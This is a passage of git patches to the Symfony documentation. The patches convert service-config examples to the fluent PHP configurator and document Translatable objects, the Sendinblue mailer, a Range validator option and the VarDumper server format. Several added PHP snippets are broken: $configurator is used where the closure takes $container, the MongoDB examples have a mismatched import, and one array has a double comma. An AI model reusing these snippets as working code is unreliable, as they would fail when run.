index b1a1fc8e825..7864b3c22f6 100644
--- a/doctrine/events.rst
+++ b/doctrine/events.rst
@@ -198,22 +198,28 @@ with the ``doctrine.event_listener`` tag:
     .. code-block:: php
 
         // config/services.php
+        namespace Symfony\Component\DependencyInjection\Loader\Configurator;
+
         use App\EventListener\SearchIndexer;
 
-        // listeners are applied by default to all Doctrine connections
-        $container->autowire(SearchIndexer::class)
-            ->addTag('doctrine.event_listener', [
-                // this is the only required option for the lifecycle listener tag
-                'event' => 'postPersist',
+        return static function (ContainerConfigurator $container) {
+            $services = $configurator->services();
+
+            // listeners are applied by default to all Doctrine connections
+            $services->set(SearchIndexer::class)
+                ->tag('doctrine.event_listener', [
+                    // this is the only required option for the lifecycle listener tag
+                    'event' => 'postPersist',
 
-                // listeners can define their priority in case multiple listeners are associated
-                // to the same event (default priority = 0; higher numbers = listener is run earlier)
-                'priority' => 500,
+                    // listeners can define their priority in case multiple listeners are associated
+                    // to the same event (default priority = 0; higher numbers = listener is run earlier)
+                    'priority' => 500,
 
-                # you can also restrict listeners to a specific Doctrine connection
-                'connection' => 'default',
-            ])
-        ;
+                    # you can also restrict listeners to a specific Doctrine connection
+                    'connection' => 'default',
+                ])
+            ;
+        };
 
 .. tip::
 
@@ -314,29 +320,35 @@ with the ``doctrine.orm.entity_listener`` tag:
     .. code-block:: php
 
         // config/services.php
+        namespace Symfony\Component\DependencyInjection\Loader\Configurator;
+
         use App\Entity\User;
         use App\EventListener\UserChangedNotifier;
 
-        $container->autowire(UserChangedNotifier::class)
-            ->addTag('doctrine.orm.entity_listener', [
-                // These are the options required to define the entity listener:
-                'event' => 'postUpdate',
-                'entity' => User::class,
+        return static function (ContainerConfigurator $container) {
+            $services = $configurator->services();
+
+            $services->set(UserChangedNotifier::class)
+                ->tag('doctrine.orm.entity_listener', [
+                    // These are the options required to define the entity listener:
+                    'event' => 'postUpdate',
+                    'entity' => User::class,
 
-                // These are other options that you may define if needed:
+                    // These are other options that you may define if needed:
 
-                // set the 'lazy' option to TRUE to only instantiate listeners when they are used
-                // 'lazy' => true,
+                    // set the 'lazy' option to TRUE to only instantiate listeners when they are used
+                    // 'lazy' => true,
 
-                // set the 'entity_manager' option if the listener is not associated to the default manager
-                // 'entity_manager' => 'custom',
+                    // set the 'entity_manager' option if the listener is not associated to the default manager
+                    // 'entity_manager' => 'custom',
 
-                // by default, Symfony looks for a method called after the event (e.g. postUpdate())
-                // if it doesn't exist, it tries to execute the '__invoke()' method, but you can
-                // configure a custom method name with the 'method' option
-                // 'method' => 'checkUserChanges',
-            ])
-        ;
+                    // by default, Symfony looks for a method called after the event (e.g. postUpdate())
+                    // if it doesn't exist, it tries to execute the '__invoke()' method, but you can
+                    // configure a custom method name with the 'method' option
+                    // 'method' => 'checkUserChanges',
+                ])
+            ;
+        };
 
 Doctrine Lifecycle Subscribers
 ------------------------------
@@ -434,11 +446,17 @@ with the ``doctrine.event_subscriber`` tag:
     .. code-block:: php
 
         // config/services.php
+        namespace Symfony\Component\DependencyInjection\Loader\Configurator;
+
         use App\EventListener\DatabaseActivitySubscriber;
 
-        $container->autowire(DatabaseActivitySubscriber::class)
-            ->addTag('doctrine.event_subscriber')
-        ;
+        return static function (ContainerConfigurator $container) {
+            $services = $configurator->services();
+
+            $services->set(DatabaseActivitySubscriber::class)
+                ->tag('doctrine.event_subscriber')
+            ;
+        };
 
 If you need to associate the subscriber with a specific Doctrine connection, you
 can do it in the service configuration:
@@ -473,11 +491,17 @@ can do it in the service configuration:
     .. code-block:: php
 
         // config/services.php
+        namespace Symfony\Component\DependencyInjection\Loader\Configurator;
+
         use App\EventListener\DatabaseActivitySubscriber;
 
-        $container->autowire(DatabaseActivitySubscriber::class)
-            ->addTag('doctrine.event_subscriber', ['connection' => 'default'])
-        ;
+        return static function (ContainerConfigurator $container) {
+            $services = $configurator->services();
+
+            $services->set(DatabaseActivitySubscriber::class)
+                ->tag('doctrine.event_subscriber', ['connection' => 'default'])
+            ;
+        };
 
 .. tip::
 
diff --git a/routing/custom_route_loader.rst b/routing/custom_route_loader.rst
index 1aa1c882f94..a339ec74f61 100644
--- a/routing/custom_route_loader.rst
+++ b/routing/custom_route_loader.rst
@@ -327,11 +327,17 @@ Now define a service for the ``ExtraLoader``:
     .. code-block:: php
 
         // config/services.php
+        namespace Symfony\Component\DependencyInjection\Loader\Configurator;
+
         use App\Routing\ExtraLoader;
 
-        $container->autowire(ExtraLoader::class)
-            ->addTag('routing.loader')
-        ;
+        return static function (ContainerConfigurator $container) {
+            $services = $configurator->services();
+
+            $services->set(ExtraLoader::class)
+                ->tag('routing.loader')
+            ;
+        };
 
 Notice the tag ``routing.loader``. All services with this *tag* will be marked
 as potential route loaders and added as specialized route loaders to the
diff --git a/session/database.rst b/session/database.rst
index 8766ab9f2a8..e01d32c6d79 100644
--- a/session/database.rst
+++ b/session/database.rst
@@ -217,16 +217,22 @@ first register a new handler service with your database credentials:
     .. code-block:: php
 
         // config/services.php
+        namespace Symfony\Component\DependencyInjection\Loader\Configurator;
+
         use Symfony\Component\HttpFoundation\Session\Storage\Handler\PdoSessionHandler;
 
-        $storageDefinition = $container->autowire(PdoSessionHandler::class)
-            ->setArguments([
-                '%env(DATABASE_URL)%',
-                // you can also use PDO configuration, but requires passing two arguments:
-                // 'mysql:dbname=mydatabase; host=myhost; port=myport',
-                // ['db_username' => 'myuser', 'db_password' => 'mypassword'],
-            ])
-        ;
+        return static function (ContainerConfigurator $container) {
+            $services = $configurator->services();
+
+            $services->set(PdoSessionHandler::class)
+                ->args([
+                    '%env(DATABASE_URL)%',
+                    // you can also use PDO configuration, but requires passing two arguments:
+                    // 'mysql:dbname=mydatabase; host=myhost; port=myport',
+                    // ['db_username' => 'myuser', 'db_password' => 'mypassword'],
+                ])
+            ;
+        };
 
 Next, use the :ref:`handler_id <config-framework-session-handler-id>`
 configuration option to tell Symfony to use this service as the session handler:
@@ -306,15 +312,20 @@ passed to the ``PdoSessionHandler`` service:
     .. code-block:: php
 
         // config/services.php
+        namespace Symfony\Component\DependencyInjection\Loader\Configurator;
+
         use Symfony\Component\HttpFoundation\Session\Storage\Handler\PdoSessionHandler;
-        // ...
 
-        $container->autowire(PdoSessionHandler::class)
-            ->setArguments([
-                '%env(DATABASE_URL)%',
-                ['db_table' => 'customer_session', 'db_id_col' => 'guid'],
-            ])
-        ;
+        return static function (ContainerConfigurator $container) {
+            $services = $configurator->services();
+
+            $services->set(PdoSessionHandler::class)
+                ->args([
+                    '%env(DATABASE_URL)%',
+                    ['db_table' => 'customer_session', 'db_id_col' => 'guid'],
+                ])
+            ;
+        };
 
 These are parameters that you can configure:
 
@@ -466,13 +477,19 @@ the MongoDB connection as argument:
     .. code-block:: php
 
         // config/services.php
-        use Symfony\Component\HttpFoundation\Session\Storage\Handler\MongoDbSessionHandler;
+        namespace Symfony\Component\DependencyInjection\Loader\Configurator;
 
-        $storageDefinition = $container->autowire(MongoDbSessionHandler::class)
-            ->setArguments([
-                new Reference('doctrine_mongodb.odm.default_connection'),
-            ])
-        ;
+        use Symfony\Component\HttpFoundation\Session\Storage\Handler\PdoSessionHandler;
+
+        return static function (ContainerConfigurator $container) {
+            $services = $configurator->services();
+
+            $services->set(MongoDbSessionHandler::class)
+                ->args([
+                    service('doctrine_mongodb.odm.default_connection'),
+                ])
+            ;
+        };
 
 Next, use the :ref:`handler_id <config-framework-session-handler-id>`
 configuration option to tell Symfony to use this service as the session handler:
@@ -569,15 +586,20 @@ configure these values with the second argument passed to the
     .. code-block:: php
 
         // config/services.php
-        use Symfony\Component\HttpFoundation\Session\Storage\Handler\MongoDbSessionHandler;
-        // ...
+        namespace Symfony\Component\DependencyInjection\Loader\Configurator;
 
-        $container->autowire(MongoDbSessionHandler::class)
-            ->setArguments([
-                '...',
-                ['id_field' => '_guid', 'expiry_field' => 'eol'],
-            ])
-        ;
+        use Symfony\Component\HttpFoundation\Session\Storage\Handler\PdoSessionHandler;
+
+        return static function (ContainerConfigurator $container) {
+            $services = $configurator->services();
+
+            $services->set(MongoDbSessionHandler::class)
+                ->args([
+                    service('doctrine_mongodb.odm.default_connection'),
+                    ['id_field' => '_guid', 'expiry_field' => 'eol'],,
+                ])
+            ;
+        };
 
 These are parameters that you can configure:
 

From 1a9c48e6ac9ae6c07e8255a1454688535594c8d7 Mon Sep 17 00:00:00 2001
From: =?UTF-8?q?Gr=C3=A9goire=20Paris?= <postmaster@greg0ire.fr>
Date: Fri, 11 Sep 2020 08:53:47 +0200
Subject: [PATCH 1185/7107] Missed cleanup in fluent migration

---
 cache.rst                               | 3 ---
 reference/configuration/swiftmailer.rst | 1 -
 service_container.rst                   | 2 +-
 3 files changed, 1 insertion(+), 5 deletions(-)

diff --git a/cache.rst b/cache.rst
index fb5cca97d57..a06cd0bd4c3 100644
--- a/cache.rst
+++ b/cache.rst
@@ -567,9 +567,6 @@ to enable this feature. This could be added by using the following configuration
     .. code-block:: php
 
         // config/packages/cache.php
-        use Symfony\Component\Cache\Adapter\ChainAdapter;
-        use Symfony\Component\DependencyInjection\Reference;
-
         $container->loadFromExtension('framework', [
             'cache' => [
                 'pools' => [
diff --git a/reference/configuration/swiftmailer.rst b/reference/configuration/swiftmailer.rst
index ed0c28736ab..674cee6ae53 100644
--- a/reference/configuration/swiftmailer.rst
+++ b/reference/configuration/swiftmailer.rst
@@ -381,7 +381,6 @@ alternatives based on the :ref:`service binding <services-binding>` feature:
         // config/services.php
         use App\Some\Service;
         use Psr\Log\LoggerInterface;
-        use Symfony\Component\DependencyInjection\Reference;
 
 
         $container->register(Service::class)
diff --git a/service_container.rst b/service_container.rst
index d918f590f7f..f551beb9a9a 100644
--- a/service_container.rst
+++ b/service_container.rst
@@ -483,7 +483,7 @@ all their types (string, boolean, array, binary and PHP constant parameters).
 However, there is another type of parameter related to services. In YAML config,
 any string which starts with ``@`` is considered as the ID of a service, instead
 of a regular string. In XML config, use the ``type="service"`` type for the
-parameter and in PHP config use the ``Reference`` class:
+parameter and in PHP config use the ``ref`` function:
 
 .. configuration-block::
 

From 11f45325f49f518244ea669e1ec7327e2397f833 Mon Sep 17 00:00:00 2001
From: Javier Eguiluz <javier.eguiluz@gmail.com>
Date: Thu, 24 Sep 2020 17:57:18 +0200
Subject: [PATCH 1186/7107] User service() instead of ref()

---
 service_container.rst | 2 +-
 1 file changed, 1 insertion(+), 1 deletion(-)

diff --git a/service_container.rst b/service_container.rst
index 95ef942fab6..24fb39dc982 100644
--- a/service_container.rst
+++ b/service_container.rst
@@ -483,7 +483,7 @@ all their types (string, boolean, array, binary and PHP constant parameters).
 However, there is another type of parameter related to services. In YAML config,
 any string which starts with ``@`` is considered as the ID of a service, instead
 of a regular string. In XML config, use the ``type="service"`` type for the
-parameter and in PHP config use the ``ref`` function:
+parameter and in PHP config use the ``service()`` function:
 
 .. configuration-block::
 

From a2ad274caafaa4d4bafa5f28e6a4768519c8d0b5 Mon Sep 17 00:00:00 2001
From: Nate Wiebe <nate@northern.co>
Date: Mon, 14 Sep 2020 18:16:20 -0400
Subject: [PATCH 1187/7107] Translatable objects

---
 reference/twig_reference.rst | 29 ++++++++++++++++++++++++++++-
 translation.rst              | 35 +++++++++++++++++++++++++++++++++++
 2 files changed, 63 insertions(+), 1 deletion(-)

diff --git a/reference/twig_reference.rst b/reference/twig_reference.rst
index 0a6c9db3154..ed02f32d633 100644
--- a/reference/twig_reference.rst
+++ b/reference/twig_reference.rst
@@ -304,6 +304,27 @@ impersonation_exit_url
 It's similar to the `impersonation_exit_path`_ function, but it generates
 absolute URLs instead of relative URLs.
 
+t
+~
+
+.. code-block:: twig
+
+    {{ t(message, parameters = [], domain = 'messages')|trans }}
+
+``message``
+    **type**: ``string``
+``parameters`` *(optional)*
+    **type**: ``array`` **default**: ``[]``
+``domain`` *(optional)*
+    **type**: ``string`` **default**: ``messages``
+
+.. versionadded:: 5.2
+
+    The ``t()`` function was introduced in Symfony 5.2.
+
+Creates a ``Translatable`` object that can be passed to the
+:ref:`trans filter <reference-twig-filter-trans>`.
+
 Form Related Functions
 ~~~~~~~~~~~~~~~~~~~~~~
 
@@ -341,6 +362,8 @@ Makes a technical name human readable (i.e. replaces underscores by spaces
 or transforms camelCase text like ``helloWorld`` to ``hello world``
 and then capitalizes the string).
 
+.. _reference-twig-filter-trans:
+
 trans
 ~~~~~
 
@@ -349,7 +372,7 @@ trans
     {{ message|trans(arguments = [], domain = null, locale = null) }}
 
 ``message``
-    **type**: ``string``
+    **type**: ``string`` | ``Translatable``
 ``arguments`` *(optional)*
     **type**: ``array`` **default**: ``[]``
 ``domain`` *(optional)*
@@ -357,6 +380,10 @@ trans
 ``locale`` *(optional)*
     **type**: ``string`` **default**: ``null``
 
+.. versionadded:: 5.2
+
+    ``message`` accepting ``Translatable`` as a valid type was introduced in Symfony 5.2.
+
 Translates the text into the current language. More information in
 :ref:`Translation Filters <translation-filters>`.
 
diff --git a/translation.rst b/translation.rst
index 19525ea38ce..2c7fc7922b6 100644
--- a/translation.rst
+++ b/translation.rst
@@ -292,6 +292,41 @@ To manage these situations, Symfony follows the `ICU MessageFormat`_ syntax by
 using PHP's :phpclass:`MessageFormatter` class. Read more about this in
 :doc:`/translation/message_format`.
 
+Translatable Objects
+--------------------
+
+.. versionadded:: 5.2
+
+    Translatable objects were introduced in Symfony 5.2.
+
+Sometimes you may want to create a message, but at the time of creation aren't
+sure how it would be translated. For example, it could be translated multiple
+times if intended to be displayed to multiple users.
+
+Using translatable objects also allows preparing translations without having a
+dependency on an entrypoint (such as a router) where the context for performing
+the translation is provided. For example, entities could prepare translatable
+strings (such as labels) without the need for a translator.
+
+Instead of translating a string at the time of creation, a ``Translatable``
+object can be created that can then be translated when used. Later this message
+can be translated with a translator in either PHP or in Twig.
+
+PHP::
+
+    $message = new Translatable('Symfony is great!');
+    $message = t('Symfony is great!');
+
+    Translatable::trans($translator, $message);
+
+Twig:
+
+.. code-block:: html+twig
+
+    {% set message = t('Symfony is great!') %}
+
+    <h1>{{ message|trans }}</h1>
+
 .. _translation-in-templates:
 
 Translations in Templates

From 5aa74875e52cdaab6bbbe7e1f7967ac07a7c56b2 Mon Sep 17 00:00:00 2001
From: Javier Eguiluz <javier.eguiluz@gmail.com>
Date: Fri, 25 Sep 2020 12:24:17 +0200
Subject: [PATCH 1188/7107] Minor rewords

---
 reference/twig_reference.rst |  2 ++
 translation.rst              | 40 ++++++++++++++++++++----------------
 2 files changed, 24 insertions(+), 18 deletions(-)

diff --git a/reference/twig_reference.rst b/reference/twig_reference.rst
index ed02f32d633..b70dbb0e0aa 100644
--- a/reference/twig_reference.rst
+++ b/reference/twig_reference.rst
@@ -304,6 +304,8 @@ impersonation_exit_url
 It's similar to the `impersonation_exit_path`_ function, but it generates
 absolute URLs instead of relative URLs.
 
+.. _reference-twig-function-t:
+
 t
 ~
 
diff --git a/translation.rst b/translation.rst
index 2c7fc7922b6..1c667e2e3ca 100644
--- a/translation.rst
+++ b/translation.rst
@@ -299,33 +299,37 @@ Translatable Objects
 
     Translatable objects were introduced in Symfony 5.2.
 
-Sometimes you may want to create a message, but at the time of creation aren't
-sure how it would be translated. For example, it could be translated multiple
-times if intended to be displayed to multiple users.
+Sometimes translating contents in templates is cumbersome because you need the
+original message, the translation parameters and the translation domain for
+each content. Making the translation in the controller or services simplifies
+your templates, but requires injecting the translator service in different
+parts of your application and mocking it in your tests.
 
-Using translatable objects also allows preparing translations without having a
-dependency on an entrypoint (such as a router) where the context for performing
-the translation is provided. For example, entities could prepare translatable
-strings (such as labels) without the need for a translator.
+Instead of translating a string at the time of creation, you can use a
+"translatable object", which is an instance of the
+:class:`Symfony\\Component\\Translation\\Translatable` class. This object stores
+all the information needed to fully translate its contents when needed::
 
-Instead of translating a string at the time of creation, a ``Translatable``
-object can be created that can then be translated when used. Later this message
-can be translated with a translator in either PHP or in Twig.
-
-PHP::
+    use Symfony\Component\Translation\Translatable;
 
+    // the first argument is required and it's the original message
     $message = new Translatable('Symfony is great!');
-    $message = t('Symfony is great!');
-
-    Translatable::trans($translator, $message);
+    // the optional second argument defines the translation parameters and
+    // the optional third argument is the translation domain
+    $status = new Translatable('order.status', ['order' => $order], 'store');
 
-Twig:
+Templates are now much simpler because you can pass translatable objects to the
+``trans`` filter:
 
 .. code-block:: html+twig
 
-    {% set message = t('Symfony is great!') %}
-
     <h1>{{ message|trans }}</h1>
+    <p>{{ status|trans }}</p>
+
+.. tip::
+
+    There's also a :ref:`function called t() <reference-twig-function-t>`,
+    available both in Twig and PHP, as a shortcut to create translatable objects.
 
 .. _translation-in-templates:
 

From 3ed2cf33a6dd25e4375ed9bffc0882b50a8a14b0 Mon Sep 17 00:00:00 2001
From: Jacob Dreesen <j.dreesen@neusta.de>
Date: Fri, 25 Sep 2020 13:51:33 +0200
Subject: [PATCH 1189/7107] Add missing `->end()` method call

---
 components/config/definition.rst | 2 +-
 1 file changed, 1 insertion(+), 1 deletion(-)

diff --git a/components/config/definition.rst b/components/config/definition.rst
index ab612c7ea18..b6be37a9695 100644
--- a/components/config/definition.rst
+++ b/components/config/definition.rst
@@ -752,7 +752,7 @@ By changing a string value into an associative array with ``name`` as the key::
                     ->then(function ($v) { return ['name' => $v]; })
                 ->end()
                 ->children()
-                    ->scalarNode('name')->isRequired()
+                    ->scalarNode('name')->isRequired()->end()
                     // ...
                 ->end()
             ->end()

From a1e19e2d67b1f92cb444d24c52835f6b18c08a3b Mon Sep 17 00:00:00 2001
From: Yann LUCAS <drixs6o9@users.noreply.github.com>
Date: Wed, 23 Sep 2020 14:26:28 +0200
Subject: [PATCH 1190/7107] [Mailer] Added documentation for Sendinblue bridge

---
 mailer.rst | 30 ++++++++++++++++--------------
 1 file changed, 16 insertions(+), 14 deletions(-)

diff --git a/mailer.rst b/mailer.rst
index 7c75e72032b..e2c166af89c 100644
--- a/mailer.rst
+++ b/mailer.rst
@@ -38,9 +38,9 @@ Using a 3rd Party Transport
 Instead of using your own SMTP server, you can send emails via a 3rd party
 provider. Mailer supports several - install whichever you want:
 
-==================  =============================================
+==================  ==============================================
 Service             Install with
-==================  =============================================
+==================  ==============================================
 Amazon SES          ``composer require symfony/amazon-mailer``
 Gmail               ``composer require symfony/google-mailer``
 MailChimp           ``composer require symfony/mailchimp-mailer``
@@ -48,7 +48,8 @@ Mailgun             ``composer require symfony/mailgun-mailer``
 Mailjet             ``composer require symfony/mailjet-mailer``
 Postmark            ``composer require symfony/postmark-mailer``
 SendGrid            ``composer require symfony/sendgrid-mailer``
-==================  =============================================
+Sendinblue          ``composer require symfony/sendinblue-mailer``
+==================  ==============================================
 
 Each library includes a :ref:`Symfony Flex recipe <symfony-flex>` that will add
 a configuration example to your ``.env`` file. For example, suppose you want to
@@ -87,17 +88,18 @@ transport, but you can force to use one:
 This table shows the full list of available DSN formats for each third
 party provider:
 
-==================== ============================================= =========================================== ========================================
- Provider             SMTP                                          HTTP                                        API
-==================== ============================================= =========================================== ========================================
- Amazon SES           ses+smtp://ACCESS_KEY:SECRET_KEY@default     ses+https://ACCESS_KEY:SECRET_KEY@default   ses+api://ACCESS_KEY:SECRET_KEY@default
- Google Gmail         gmail+smtp://USERNAME:PASSWORD@default       n/a                                         n/a
- Mailchimp Mandrill   mandrill+smtp://USERNAME:PASSWORD@default    mandrill+https://KEY@default                mandrill+api://KEY@default
- Mailgun              mailgun+smtp://USERNAME:PASSWORD@default     mailgun+https://KEY:DOMAIN@default          mailgun+api://KEY:DOMAIN@default
- Mailjet              mailjet+smtp://ACCESS_KEY:SECRET_KEY@default n/a                                         mailjet+api://ACCESS_KEY:SECRET_KEY@default
- Postmark             postmark+smtp://ID:ID@default                n/a                                         postmark+api://KEY@default
- Sendgrid             sendgrid+smtp://apikey:KEY@default           n/a                                         sendgrid+api://KEY@default
-==================== ============================================= =========================================== ========================================
+==================== ==================================================== =========================================== ========================================
+ Provider             SMTP                                                 HTTP                                        API
+==================== ==================================================== =========================================== ========================================
+ Amazon SES           ses+smtp://ACCESS_KEY:SECRET_KEY@default             ses+https://ACCESS_KEY:SECRET_KEY@default   ses+api://ACCESS_KEY:SECRET_KEY@default
+ Google Gmail         gmail+smtp://USERNAME:PASSWORD@default               n/a                                         n/a
+ Mailchimp Mandrill   mandrill+smtp://USERNAME:PASSWORD@default            mandrill+https://KEY@default                mandrill+api://KEY@default
+ Mailgun              mailgun+smtp://USERNAME:PASSWORD@default             mailgun+https://KEY:DOMAIN@default          mailgun+api://KEY:DOMAIN@default
+ Mailjet              mailjet+smtp://ACCESS_KEY:SECRET_KEY@default         n/a                                         mailjet+api://ACCESS_KEY:SECRET_KEY@default
+ Postmark             postmark+smtp://ID:ID@default                        n/a                                         postmark+api://KEY@default
+ Sendgrid             sendgrid+smtp://apikey:KEY@default                   n/a                                         sendgrid+api://KEY@default
+ Sendinblue           sendinblue+smtp://apikey:USERNAME:PASSWORD@default   n/a                                         sendinblue+api://KEY@default
+==================== ==================================================== =========================================== ========================================
 
 .. caution::
 

From 6e81b35e4cf3de24228ae227196c593776045165 Mon Sep 17 00:00:00 2001
From: Javier Eguiluz <javier.eguiluz@gmail.com>
Date: Fri, 25 Sep 2020 14:17:36 +0200
Subject: [PATCH 1191/7107] Added the versionadded directive

---
 mailer.rst | 4 ++++
 1 file changed, 4 insertions(+)

diff --git a/mailer.rst b/mailer.rst
index e2c166af89c..0745bc014de 100644
--- a/mailer.rst
+++ b/mailer.rst
@@ -51,6 +51,10 @@ SendGrid            ``composer require symfony/sendgrid-mailer``
 Sendinblue          ``composer require symfony/sendinblue-mailer``
 ==================  ==============================================
 
+.. versionadded:: 5.2
+
+    The Sendinblue integration was introduced in Symfony 5.2.
+
 Each library includes a :ref:`Symfony Flex recipe <symfony-flex>` that will add
 a configuration example to your ``.env`` file. For example, suppose you want to
 use SendGrid. First, install it:

From 82880aaee60fc0286d67f50a63cb1fe6bd4c485e Mon Sep 17 00:00:00 2001
From: Javier Eguiluz <javier.eguiluz@gmail.com>
Date: Fri, 25 Sep 2020 14:50:32 +0200
Subject: [PATCH 1192/7107] [Validator] Document the invalidDateTimeMessage
 option

---
 reference/constraints/Range.rst | 25 +++++++++++++++++++++++--
 1 file changed, 23 insertions(+), 2 deletions(-)

diff --git a/reference/constraints/Range.rst b/reference/constraints/Range.rst
index 4470d26eb07..d5b473362dd 100644
--- a/reference/constraints/Range.rst
+++ b/reference/constraints/Range.rst
@@ -6,6 +6,7 @@ Validates that a given number or ``DateTime`` object is *between* some minimum a
 ==========  ===================================================================
 Applies to  :ref:`property or method <validation-property-target>`
 Options     - `groups`_
+            - `invalidDateTimeMessage`_
             - `invalidMessage`_
             - `max`_
             - `maxMessage`_
@@ -316,13 +317,33 @@ Options
 
 .. include:: /reference/constraints/_groups-option.rst.inc
 
+invalidDateTimeMessage
+~~~~~~~~~~~~~~~~~~~~~~
+
+**type**: ``string`` **default**: ``This value should be a valid number.``
+
+.. versionadded:: 5.2
+
+    The ``invalidDateTimeMessage`` option was introduced in Symfony 5.2.
+
+The message displayed when the ``min`` and ``max`` values are PHP datetimes but
+the given value is not.
+
+You can use the following parameters in this message:
+
+===============  ==============================================================
+Parameter        Description
+===============  ==============================================================
+``{{ value }}``  The current (invalid) value
+===============  ==============================================================
+
 invalidMessage
 ~~~~~~~~~~~~~~
 
 **type**: ``string`` **default**: ``This value should be a valid number.``
 
-The message that will be shown if the underlying value is not a number (per
-the :phpfunction:`is_numeric` PHP function).
+The message displayed when the ``min`` and ``max`` values are numeric (per
+the :phpfunction:`is_numeric` PHP function) but the given value is not.
 
 You can use the following parameters in this message:
 

From 6c5a809675c7a4cb7ae86969356998ff5ca0aa44 Mon Sep 17 00:00:00 2001
From: Javier Eguiluz <javier.eguiluz@gmail.com>
Date: Fri, 25 Sep 2020 15:29:18 +0200
Subject: [PATCH 1193/7107] Minor tweak

---
 http_client.rst | 12 ++++++------
 1 file changed, 6 insertions(+), 6 deletions(-)

diff --git a/http_client.rst b/http_client.rst
index f7aa8546da9..51cd799fea6 100644
--- a/http_client.rst
+++ b/http_client.rst
@@ -1462,9 +1462,12 @@ However, using ``MockResponse`` allows simulating chunked responses and timeouts
 
     $mockResponse = new MockResponse($body());
 
-Using the Symfony Framework, if you want to use your callback in functional tests, you can do as follow:
+.. versionadded:: 5.2
+
+    The feature explained below was introduced in Symfony 5.2.
 
-First, create an invokable or iterable class responsible of generating the response::
+Finally, you can also create an invokable or iterable class that generates the
+responses and use it as a callback in functional tests::
 
     namespace App\Tests;
 
@@ -1481,7 +1484,7 @@ First, create an invokable or iterable class responsible of generating the respo
         }
     }
 
-Then configure the framework to use your callback:
+Then configure Symfony to use your callback:
 
 .. configuration-block::
 
@@ -1535,9 +1538,6 @@ Then configure the framework to use your callback:
             ],
         ]);
 
-
-The ``MockHttpClient`` will now be used in test environment with your callback to generate responses.
-
 .. _`cURL PHP extension`: https://www.php.net/curl
 .. _`PSR-17`: https://www.php-fig.org/psr/psr-17/
 .. _`PSR-18`: https://www.php-fig.org/psr/psr-18/

From d3694bdec01e6bbe42fe292677aeab4de0d20428 Mon Sep 17 00:00:00 2001
From: Javier Eguiluz <javier.eguiluz@gmail.com>
Date: Fri, 25 Sep 2020 15:53:36 +0200
Subject: [PATCH 1194/7107] Reword

---
 logging/channels_handlers.rst | 6 +++---
 1 file changed, 3 insertions(+), 3 deletions(-)

diff --git a/logging/channels_handlers.rst b/logging/channels_handlers.rst
index 04d41a8d3c2..1948d9daf6f 100644
--- a/logging/channels_handlers.rst
+++ b/logging/channels_handlers.rst
@@ -25,9 +25,9 @@ Switching a Channel to a different Handler
 
 Now, suppose you want to log the ``security`` channel to a different file.
 To do this, create a new handler and configure it to log only messages
-from the ``security`` channel.
-You might add this in `config/packages/monolog.yaml` to log in all environments,
-or just `config/packages/prod/monolog.yaml` to happen only in prod:
+from the ``security`` channel. The following example does that only in the
+``prod`` :ref:`configuration environment <configuration-environments>` but you
+can do it in any (or all) environments:
 
 .. configuration-block::
 

From 5cb0e366431c938c541a64d5220a0f13c38ba9b6 Mon Sep 17 00:00:00 2001
From: Maxime Steinhausser <maxime.steinhausser@elao.com>
Date: Thu, 13 Aug 2020 16:59:22 +0200
Subject: [PATCH 1195/7107] [VarDumper] Document the VAR_DUMPER_FORMAT=server
 format

---
 components/var_dumper.rst | 35 ++++++++++++++++++++++++++++++++++-
 1 file changed, 34 insertions(+), 1 deletion(-)

diff --git a/components/var_dumper.rst b/components/var_dumper.rst
index e89c822c21f..44bb21c6304 100644
--- a/components/var_dumper.rst
+++ b/components/var_dumper.rst
@@ -66,7 +66,7 @@ current PHP SAPI:
 
     You can also select the output format explicitly defining the
     ``VAR_DUMPER_FORMAT`` environment variable and setting its value to either
-    ``html`` or ``cli``.
+    ``html``, ``cli`` or :ref:`server <var-dumper-dump-server-format>`.
 
 .. note::
 
@@ -186,6 +186,39 @@ Then you can use the following command to start a server out-of-the-box:
      $ ./vendor/bin/var-dump-server
        [OK] Server listening on tcp://127.0.0.1:9912
 
+.. _var-dumper-dump-server-format:
+
+Debug any project with the server format
+^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^
+
+There is a way to force the ``VarDumper`` to dump to a server, without the need to configure anything in your
+application: by using the ``VAR_DUMPER_FORMAT=server`` environment variable.
+It is especially useful to debug any project (as soon as the VarDumper component is installed),
+without altering its code by:
+
+* starting a server:
+
+    .. code-block:: terminal
+
+         $ ./vendor/bin/var-dump-server
+
+* running your code with the ``VAR_DUMPER_FORMAT=server`` env variable. For instance, for a CLI command:
+
+    .. code-block:: terminal
+
+         $ VAR_DUMPER_FORMAT=server [your-cli-command]
+
+    .. tip::
+
+        If your project loads environment variables from a dotenv file, you can set the ``VAR_DUMPER_FORMAT=server``
+        environment variable in there as well.
+
+.. note::
+
+    The host used to contact the server when using the ``server`` format is the one configured by the
+    ``VAR_DUMPER_SERVER`` var or defaults to ``127.0.0.1:9912``.
+    But you can configure the host through the ``VAR_DUMPER_FORMAT=tcp://127.0.0.1:1234`` environment variable as well.
+
 DebugBundle and Twig Integration
 --------------------------------
 

From 738ed6907167c68d1657a9a6b009ef69caf18d95 Mon Sep 17 00:00:00 2001
From: Javier Eguiluz <javier.eguiluz@gmail.com>
Date: Fri, 25 Sep 2020 16:19:01 +0200
Subject: [PATCH 1196/7107] Reword

---
 components/var_dumper.rst | 36 ++++++++++++++++++------------------
 1 file changed, 18 insertions(+), 18 deletions(-)

diff --git a/components/var_dumper.rst b/components/var_dumper.rst
index 44bb21c6304..b661bd7a44a 100644
--- a/components/var_dumper.rst
+++ b/components/var_dumper.rst
@@ -188,36 +188,36 @@ Then you can use the following command to start a server out-of-the-box:
 
 .. _var-dumper-dump-server-format:
 
-Debug any project with the server format
-^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^
+Configuring the Dump Server with Environment Variables
+~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
 
-There is a way to force the ``VarDumper`` to dump to a server, without the need to configure anything in your
-application: by using the ``VAR_DUMPER_FORMAT=server`` environment variable.
-It is especially useful to debug any project (as soon as the VarDumper component is installed),
-without altering its code by:
+.. versionadded:: 5.2
 
-* starting a server:
+    The ``VAR_DUMPER_FORMAT=server`` feature was introduced in Symfony 5.2.
 
-    .. code-block:: terminal
+If you prefer to not modify the application configuration (e.g. to quickly debug
+a project given to you) use the ``VAR_DUMPER_FORMAT`` env var.
 
-         $ ./vendor/bin/var-dump-server
+First, start the server as usual:
 
-* running your code with the ``VAR_DUMPER_FORMAT=server`` env variable. For instance, for a CLI command:
+.. code-block:: terminal
 
-    .. code-block:: terminal
+    $ ./vendor/bin/var-dump-server
 
